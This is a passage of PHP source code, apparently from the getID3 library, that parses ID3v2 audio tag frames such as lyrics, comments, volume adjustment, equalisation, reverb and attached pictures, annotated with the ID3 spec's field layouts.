$this->RemoveStringTerminator($parsedFrame['description'], $frame_textencoding_terminator); $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) { $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback('ISO-8859-1', $info['id3v2']['encoding'], $parsedFrame['url']); } unset($parsedFrame['data']); } elseif ($parsedFrame['frame_name'][0] == 'W') { // 4.3. W??? URL link frames // There may only be one URL link frame of its kind in a tag, // except when stated otherwise in the frame description //
// URL $parsedFrame['url'] = trim($parsedFrame['data']); // always ISO-8859-1 if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) { $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback('ISO-8859-1', $info['id3v2']['encoding'], $parsedFrame['url']); } unset($parsedFrame['data']); } elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'IPLS')) || // 4.4 IPLS Involved people list (ID3v2.3 only) (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'IPL'))) { // 4.4 IPL Involved people list (ID3v2.2 only) // http://id3.org/id3v2.3.0#sec4.4 // There may only be one 'IPL' frame in each tag //
// Text encoding $xx // People list strings $frame_offset = 0; $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); } $parsedFrame['encodingid'] = $frame_textencoding; $parsedFrame['encoding'] = $this->TextEncodingNameLookup($parsedFrame['encodingid']); $parsedFrame['data_raw'] = (string) substr($parsedFrame['data'], $frame_offset); // https://www.getid3.org/phpBB3/viewtopic.php?t=1369 // "this tag typically contains null terminated strings, which are associated in pairs" // "there are users that use the tag incorrectly" $IPLS_parts = array(); if (strpos($parsedFrame['data_raw'], "\x00") !== false) { $IPLS_parts_unsorted = array(); if (((strlen($parsedFrame['data_raw']) % 2) == 0) && ((substr($parsedFrame['data_raw'], 0, 2) == "\xFF\xFE") || (substr($parsedFrame['data_raw'], 0, 2) == "\xFE\xFF"))) { // UTF-16, be careful looking for null bytes since most 2-byte characters may contain one; you need to find twin null bytes, and on even padding $thisILPS = ''; for ($i = 0; $i < strlen($parsedFrame['data_raw']); $i += 2) { $twobytes = substr($parsedFrame['data_raw'], $i, 2); if ($twobytes === "\x00\x00") { $IPLS_parts_unsorted[] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $thisILPS); $thisILPS = ''; } else { $thisILPS .= $twobytes; } } if (strlen($thisILPS) > 2) { // 2-byte BOM $IPLS_parts_unsorted[] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $thisILPS); } } else { // ISO-8859-1 or UTF-8 or other single-byte-null character set $IPLS_parts_unsorted = explode("\x00", $parsedFrame['data_raw']); } if (count($IPLS_parts_unsorted) == 1) { // just a list of names, e.g. "Dino Baptiste, Jimmy Copley, John Gordon, Bernie Marsden, Sharon Watson" foreach ($IPLS_parts_unsorted as $key => $value) { $IPLS_parts_sorted = preg_split('#[;,\\r\\n\\t]#', $value); $position = ''; foreach ($IPLS_parts_sorted as $person) { $IPLS_parts[] = array('position'=>$position, 'person'=>$person); } } } elseif ((count($IPLS_parts_unsorted) % 2) == 0) { $position = ''; $person = ''; foreach ($IPLS_parts_unsorted as $key => $value) { if (($key % 2) == 0) { $position = $value; } else { $person = $value; $IPLS_parts[] = array('position'=>$position, 'person'=>$person); $position = ''; $person = ''; } } } else { foreach ($IPLS_parts_unsorted as $key => $value) { $IPLS_parts[] = array($value); } } } else { $IPLS_parts = preg_split('#[;,\\r\\n\\t]#', $parsedFrame['data_raw']); } $parsedFrame['data'] = $IPLS_parts; if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $parsedFrame['data']; } } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'MCDI')) || // 4.4 MCDI Music CD identifier (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'MCI'))) { // 4.5 MCI Music CD identifier // There may only be one 'MCDI' frame in each tag //
// CD TOC if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $parsedFrame['data']; } } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'ETCO')) || // 4.5 ETCO Event timing codes (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'ETC'))) { // 4.6 ETC Event timing codes // There may only be one 'ETCO' frame in each tag //
// Time stamp format $xx // Where time stamp format is: // $01 (32-bit value) MPEG frames from beginning of file // $02 (32-bit value) milliseconds from beginning of file // Followed by a list of key events in the following format: // Type of event $xx // Time stamp $xx (xx ...) // The 'Time stamp' is set to zero if directly at the beginning of the sound // or after the previous event. All events MUST be sorted in chronological order. $frame_offset = 0; $parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); while ($frame_offset < strlen($parsedFrame['data'])) { $parsedFrame['typeid'] = substr($parsedFrame['data'], $frame_offset++, 1); $parsedFrame['type'] = $this->ETCOEventLookup($parsedFrame['typeid']); $parsedFrame['timestamp'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); $frame_offset += 4; } unset($parsedFrame['data']); } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'MLLT')) || // 4.6 MLLT MPEG location lookup table (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'MLL'))) { // 4.7 MLL MPEG location lookup table // There may only be one 'MLLT' frame in each tag //
// MPEG frames between reference $xx xx // Bytes between reference $xx xx xx // Milliseconds between reference $xx xx xx // Bits for bytes deviation $xx // Bits for milliseconds dev. $xx // Then for every reference the following data is included; // Deviation in bytes %xxx.... // Deviation in milliseconds %xxx.... $frame_offset = 0; $parsedFrame['framesbetweenreferences'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 2)); $parsedFrame['bytesbetweenreferences'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 2, 3)); $parsedFrame['msbetweenreferences'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 5, 3)); $parsedFrame['bitsforbytesdeviation'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 8, 1)); $parsedFrame['bitsformsdeviation'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 9, 1)); $parsedFrame['data'] = substr($parsedFrame['data'], 10); $deviationbitstream = ''; while ($frame_offset < strlen($parsedFrame['data'])) { $deviationbitstream .= getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1)); } $reference_counter = 0; while (strlen($deviationbitstream) > 0) { $parsedFrame[$reference_counter]['bytedeviation'] = bindec(substr($deviationbitstream, 0, $parsedFrame['bitsforbytesdeviation'])); $parsedFrame[$reference_counter]['msdeviation'] = bindec(substr($deviationbitstream, $parsedFrame['bitsforbytesdeviation'], $parsedFrame['bitsformsdeviation'])); $deviationbitstream = substr($deviationbitstream, $parsedFrame['bitsforbytesdeviation'] + $parsedFrame['bitsformsdeviation']); $reference_counter++; } unset($parsedFrame['data']); } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'SYTC')) || // 4.7 SYTC Synchronised tempo codes (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'STC'))) { // 4.8 STC Synchronised tempo codes // There may only be one 'SYTC' frame in each tag //
// Time stamp format $xx // Tempo data // Where time stamp format is: // $01 (32-bit value) MPEG frames from beginning of file // $02 (32-bit value) milliseconds from beginning of file $frame_offset = 0; $parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $timestamp_counter = 0; while ($frame_offset < strlen($parsedFrame['data'])) { $parsedFrame[$timestamp_counter]['tempo'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); if ($parsedFrame[$timestamp_counter]['tempo'] == 255) { $parsedFrame[$timestamp_counter]['tempo'] += ord(substr($parsedFrame['data'], $frame_offset++, 1)); } $parsedFrame[$timestamp_counter]['timestamp'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); $frame_offset += 4; $timestamp_counter++; } unset($parsedFrame['data']); } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'USLT')) || // 4.8 USLT Unsynchronised lyric/text transcription (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'ULT'))) { // 4.9 ULT Unsynchronised lyric/text transcription // There may be more than one 'Unsynchronised lyrics/text transcription' frame // in each tag, but only one with the same language and content descriptor. //
// Text encoding $xx // Language $xx xx xx // Content descriptor $00 (00) // Lyrics/text $frame_offset = 0; $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); $frame_textencoding_terminator = "\x00"; } $frame_language = substr($parsedFrame['data'], $frame_offset, 3); $frame_offset += 3; $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 } $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); $parsedFrame['data'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator)); $parsedFrame['data'] = $this->RemoveStringTerminator($parsedFrame['data'], $frame_textencoding_terminator); $parsedFrame['encodingid'] = $frame_textencoding; $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); $parsedFrame['language'] = $frame_language; $parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false); if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']); } unset($parsedFrame['data']); } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'SYLT')) || // 4.9 SYLT Synchronised lyric/text (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'SLT'))) { // 4.10 SLT Synchronised lyric/text // There may be more than one 'SYLT' frame in each tag, // but only one with the same language and content descriptor. //
// Text encoding $xx // Language $xx xx xx // Time stamp format $xx // $01 (32-bit value) MPEG frames from beginning of file // $02 (32-bit value) milliseconds from beginning of file // Content type $xx // Content descriptor $00 (00) // Terminated text to be synced (typically a syllable) // Sync identifier (terminator to above string) $00 (00) // Time stamp $xx (xx ...) $frame_offset = 0; $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); $frame_textencoding_terminator = "\x00"; } $frame_language = substr($parsedFrame['data'], $frame_offset, 3); $frame_offset += 3; $parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['contenttypeid'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['contenttype'] = $this->SYTLContentTypeLookup($parsedFrame['contenttypeid']); $parsedFrame['encodingid'] = $frame_textencoding; $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); $parsedFrame['language'] = $frame_language; $parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false); $timestampindex = 0; $frame_remainingdata = substr($parsedFrame['data'], $frame_offset); while (strlen($frame_remainingdata)) { $frame_offset = 0; $frame_terminatorpos = strpos($frame_remainingdata, $frame_textencoding_terminator); if ($frame_terminatorpos === false) { $frame_remainingdata = ''; } else { if (ord(substr($frame_remainingdata, $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 } $parsedFrame['lyrics'][$timestampindex]['data'] = substr($frame_remainingdata, $frame_offset, $frame_terminatorpos - $frame_offset); $frame_remainingdata = substr($frame_remainingdata, $frame_terminatorpos + strlen($frame_textencoding_terminator)); if (($timestampindex == 0) && (ord($frame_remainingdata[0]) != 0)) { // timestamp probably omitted for first data item } else { $parsedFrame['lyrics'][$timestampindex]['timestamp'] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 0, 4)); $frame_remainingdata = substr($frame_remainingdata, 4); } $timestampindex++; } } unset($parsedFrame['data']); } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'COMM')) || // 4.10 COMM Comments (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'COM'))) { // 4.11 COM Comments // There may be more than one comment frame in each tag, // but only one with the same language and content descriptor. //
// Text encoding $xx // Language $xx xx xx // Short content descrip. $00 (00) // The actual text if (strlen($parsedFrame['data']) < 5) { $this->warning('Invalid data (too short) for "'.$parsedFrame['frame_name'].'" frame at offset '.$parsedFrame['dataoffset']); } else { $frame_offset = 0; $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); $frame_textencoding_terminator = "\x00"; } $frame_language = substr($parsedFrame['data'], $frame_offset, 3); $frame_offset += 3; $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 } $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); $frame_text = (string) substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator)); $frame_text = $this->RemoveStringTerminator($frame_text, $frame_textencoding_terminator); $parsedFrame['encodingid'] = $frame_textencoding; $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); $parsedFrame['language'] = $frame_language; $parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false); $parsedFrame['data'] = $frame_text; if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { $commentkey = ($parsedFrame['description'] ? $parsedFrame['description'] : (!empty($info['id3v2']['comments'][$parsedFrame['framenameshort']]) ? count($info['id3v2']['comments'][$parsedFrame['framenameshort']]) : 0)); if (!isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) || !array_key_exists($commentkey, $info['id3v2']['comments'][$parsedFrame['framenameshort']])) { $info['id3v2']['comments'][$parsedFrame['framenameshort']][$commentkey] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']); } else { $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']); } } } } elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'RVA2')) { // 4.11 RVA2 Relative volume adjustment (2) (ID3v2.4+ only) // There may be more than one 'RVA2' frame in each tag, // but only one with the same identification string //
// Identification $00 // The 'identification' string is used to identify the situation and/or // device where this adjustment should apply. The following is then // repeated for every channel: // Type of channel $xx // Volume adjustment $xx xx // Bits representing peak $xx // Peak volume $xx (xx ...) $frame_terminatorpos = strpos($parsedFrame['data'], "\x00"); $frame_idstring = substr($parsedFrame['data'], 0, $frame_terminatorpos); if (ord($frame_idstring) === 0) { $frame_idstring = ''; } $frame_remainingdata = substr($parsedFrame['data'], $frame_terminatorpos + strlen("\x00")); $parsedFrame['description'] = $frame_idstring; $RVA2channelcounter = 0; while (strlen($frame_remainingdata) >= 5) { $frame_offset = 0; $frame_channeltypeid = ord(substr($frame_remainingdata, $frame_offset++, 1)); $parsedFrame[$RVA2channelcounter]['channeltypeid'] = $frame_channeltypeid; $parsedFrame[$RVA2channelcounter]['channeltype'] = $this->RVA2ChannelTypeLookup($frame_channeltypeid); $parsedFrame[$RVA2channelcounter]['volumeadjust'] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, $frame_offset, 2), false, true); // 16-bit signed $frame_offset += 2; $parsedFrame[$RVA2channelcounter]['bitspeakvolume'] = ord(substr($frame_remainingdata, $frame_offset++, 1)); if (($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] < 1) || ($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] > 4)) { $this->warning('ID3v2::RVA2 frame['.$RVA2channelcounter.'] contains invalid '.$parsedFrame[$RVA2channelcounter]['bitspeakvolume'].'-byte bits-representing-peak value'); break; } $frame_bytespeakvolume = ceil($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] / 8); $parsedFrame[$RVA2channelcounter]['peakvolume'] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, $frame_offset, $frame_bytespeakvolume)); $frame_remainingdata = substr($frame_remainingdata, $frame_offset + $frame_bytespeakvolume); $RVA2channelcounter++; } unset($parsedFrame['data']); } elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'RVAD')) || // 4.12 RVAD Relative volume adjustment (ID3v2.3 only) (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'RVA'))) { // 4.12 RVA Relative volume adjustment (ID3v2.2 only) // There may only be one 'RVA' frame in each tag //
// ID3v2.2 => Increment/decrement %000000ba // ID3v2.3 => Increment/decrement %00fedcba // Bits used for volume descr. $xx // Relative volume change, right $xx xx (xx ...) // a // Relative volume change, left $xx xx (xx ...) // b // Peak volume right $xx xx (xx ...) // Peak volume left $xx xx (xx ...) // ID3v2.3 only, optional (not present in ID3v2.2): // Relative volume change, right back $xx xx (xx ...) // c // Relative volume change, left back $xx xx (xx ...) // d // Peak volume right back $xx xx (xx ...) // Peak volume left back $xx xx (xx ...) // ID3v2.3 only, optional (not present in ID3v2.2): // Relative volume change, center $xx xx (xx ...) // e // Peak volume center $xx xx (xx ...) // ID3v2.3 only, optional (not present in ID3v2.2): // Relative volume change, bass $xx xx (xx ...) // f // Peak volume bass $xx xx (xx ...) $frame_offset = 0; $frame_incrdecrflags = getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['incdec']['right'] = (bool) substr($frame_incrdecrflags, 6, 1); $parsedFrame['incdec']['left'] = (bool) substr($frame_incrdecrflags, 7, 1); $parsedFrame['bitsvolume'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $frame_bytesvolume = ceil($parsedFrame['bitsvolume'] / 8); $parsedFrame['volumechange']['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); if ($parsedFrame['incdec']['right'] === false) { $parsedFrame['volumechange']['right'] *= -1; } $frame_offset += $frame_bytesvolume; $parsedFrame['volumechange']['left'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); if ($parsedFrame['incdec']['left'] === false) { $parsedFrame['volumechange']['left'] *= -1; } $frame_offset += $frame_bytesvolume; $parsedFrame['peakvolume']['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); $frame_offset += $frame_bytesvolume; $parsedFrame['peakvolume']['left'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); $frame_offset += $frame_bytesvolume; if ($id3v2_majorversion == 3) { $parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset); if (strlen($parsedFrame['data']) > 0) { $parsedFrame['incdec']['rightrear'] = (bool) substr($frame_incrdecrflags, 4, 1); $parsedFrame['incdec']['leftrear'] = (bool) substr($frame_incrdecrflags, 5, 1); $parsedFrame['volumechange']['rightrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); if ($parsedFrame['incdec']['rightrear'] === false) { $parsedFrame['volumechange']['rightrear'] *= -1; } $frame_offset += $frame_bytesvolume; $parsedFrame['volumechange']['leftrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); if ($parsedFrame['incdec']['leftrear'] === false) { $parsedFrame['volumechange']['leftrear'] *= -1; } $frame_offset += $frame_bytesvolume; $parsedFrame['peakvolume']['rightrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); $frame_offset += $frame_bytesvolume; $parsedFrame['peakvolume']['leftrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); $frame_offset += $frame_bytesvolume; } $parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset); if (strlen($parsedFrame['data']) > 0) { $parsedFrame['incdec']['center'] = (bool) substr($frame_incrdecrflags, 3, 1); $parsedFrame['volumechange']['center'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); if ($parsedFrame['incdec']['center'] === false) { $parsedFrame['volumechange']['center'] *= -1; } $frame_offset += $frame_bytesvolume; $parsedFrame['peakvolume']['center'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); $frame_offset += $frame_bytesvolume; } $parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset); if (strlen($parsedFrame['data']) > 0) { $parsedFrame['incdec']['bass'] = (bool) substr($frame_incrdecrflags, 2, 1); $parsedFrame['volumechange']['bass'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); if ($parsedFrame['incdec']['bass'] === false) { $parsedFrame['volumechange']['bass'] *= -1; } $frame_offset += $frame_bytesvolume; $parsedFrame['peakvolume']['bass'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); $frame_offset += $frame_bytesvolume; } } unset($parsedFrame['data']); } elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'EQU2')) { // 4.12 EQU2 Equalisation (2) (ID3v2.4+ only) // There may be more than one 'EQU2' frame in each tag, // but only one with the same identification string //
// Interpolation method $xx // $00 Band // $01 Linear // Identification $00 // The following is then repeated for every adjustment point // Frequency $xx xx // Volume adjustment $xx xx $frame_offset = 0; $frame_interpolationmethod = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_idstring = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); if (ord($frame_idstring) === 0) { $frame_idstring = ''; } $parsedFrame['description'] = $frame_idstring; $frame_remainingdata = substr($parsedFrame['data'], $frame_terminatorpos + strlen("\x00")); while (strlen($frame_remainingdata)) { $frame_frequency = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 0, 2)) / 2; $parsedFrame['data'][$frame_frequency] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 2, 2), false, true); $frame_remainingdata = substr($frame_remainingdata, 4); } $parsedFrame['interpolationmethod'] = $frame_interpolationmethod; unset($parsedFrame['data']); } elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'EQUA')) || // 4.12 EQUA Equalisation (ID3v2.3 only) (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'EQU'))) { // 4.13 EQU Equalisation (ID3v2.2 only) // There may only be one 'EQUA' frame in each tag //
// Adjustment bits $xx // This is followed by 2 bytes + ('adjustment bits' rounded up to the // nearest byte) for every equalisation band in the following format, // giving a frequency range of 0 - 32767Hz: // Increment/decrement %x (MSB of the Frequency) // Frequency (lower 15 bits) // Adjustment $xx (xx ...) $frame_offset = 0; $parsedFrame['adjustmentbits'] = substr($parsedFrame['data'], $frame_offset++, 1); $frame_adjustmentbytes = ceil($parsedFrame['adjustmentbits'] / 8); $frame_remainingdata = (string) substr($parsedFrame['data'], $frame_offset); while (strlen($frame_remainingdata) > 0) { $frame_frequencystr = getid3_lib::BigEndian2Bin(substr($frame_remainingdata, 0, 2)); $frame_incdec = (bool) substr($frame_frequencystr, 0, 1); $frame_frequency = bindec(substr($frame_frequencystr, 1, 15)); $parsedFrame[$frame_frequency]['incdec'] = $frame_incdec; $parsedFrame[$frame_frequency]['adjustment'] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 2, $frame_adjustmentbytes)); if ($parsedFrame[$frame_frequency]['incdec'] === false) { $parsedFrame[$frame_frequency]['adjustment'] *= -1; } $frame_remainingdata = substr($frame_remainingdata, 2 + $frame_adjustmentbytes); } unset($parsedFrame['data']); } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RVRB')) || // 4.13 RVRB Reverb (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'REV'))) { // 4.14 REV Reverb // There may only be one 'RVRB' frame in each tag. //
// Reverb left (ms) $xx xx // Reverb right (ms) $xx xx // Reverb bounces, left $xx // Reverb bounces, right $xx // Reverb feedback, left to left $xx // Reverb feedback, left to right $xx // Reverb feedback, right to right $xx // Reverb feedback, right to left $xx // Premix left to right $xx // Premix right to left $xx $frame_offset = 0; $parsedFrame['left'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); $frame_offset += 2; $parsedFrame['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); $frame_offset += 2; $parsedFrame['bouncesL'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['bouncesR'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['feedbackLL'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['feedbackLR'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['feedbackRR'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['feedbackRL'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['premixLR'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['premixRL'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); unset($parsedFrame['data']); } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'APIC')) || // 4.14 APIC Attached picture (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'PIC'))) { // 4.15 PIC Attached picture // There may be several pictures attached to one file, // each in their individual 'APIC' frame, but only one // with the same content descriptor //
// Text encoding $xx // ID3v2.3+ => MIME type $00 // ID3v2.2 => Image format $xx xx xx // Picture type $xx // Description $00 (00) // Picture data $frame_offset = 0; $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); $frame_textencoding_terminator = "\x00"; } if ($id3v2_majorversion == 2 && strlen($parsedFrame['data']) > $frame_offset) { $frame_imagetype = substr($parsedFrame['data'], $frame_offset, 3); if (strtolower($frame_imagetype) == 'ima') { // complete hack for mp3Rage (www.chaoticsoftware.com) that puts ID3v2.3-formatted // MIME type instead of 3-char ID3v2.2-format image type (thanks xbhoffØpacbell*net) $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); if (ord($frame_mimetype) === 0) { $frame_mimetype = ''; } $frame_imagetype = strtoupper(str_replace('image/', '', strtolower($frame_mimetype))); if ($frame_imagetype == 'JPEG') { $frame_imagetype = 'JPG'; } $frame_offset = $frame_terminatorpos + strlen("\x00"); } else { $frame_offset += 3; } } if ($id3v2_majorversion > 2 && strlen($parsedFrame['data']) > $frame_offset) { $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); if (ord($frame_mimetype) === 0) { $frame_mimetype = ''; } $frame_offset = $frame_terminatorpos + strlen("\x00"); } $frame_picturetype = ord(substr($parsedFrame['data'], $frame_offset++, 1)); if ($frame_offset >= $parsedFrame['datalength']) { $this->warning('data portion of APIC frame is missing at offset '.($parsedFrame['dataoffset'] + 8 + $frame_offset)); } else { $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 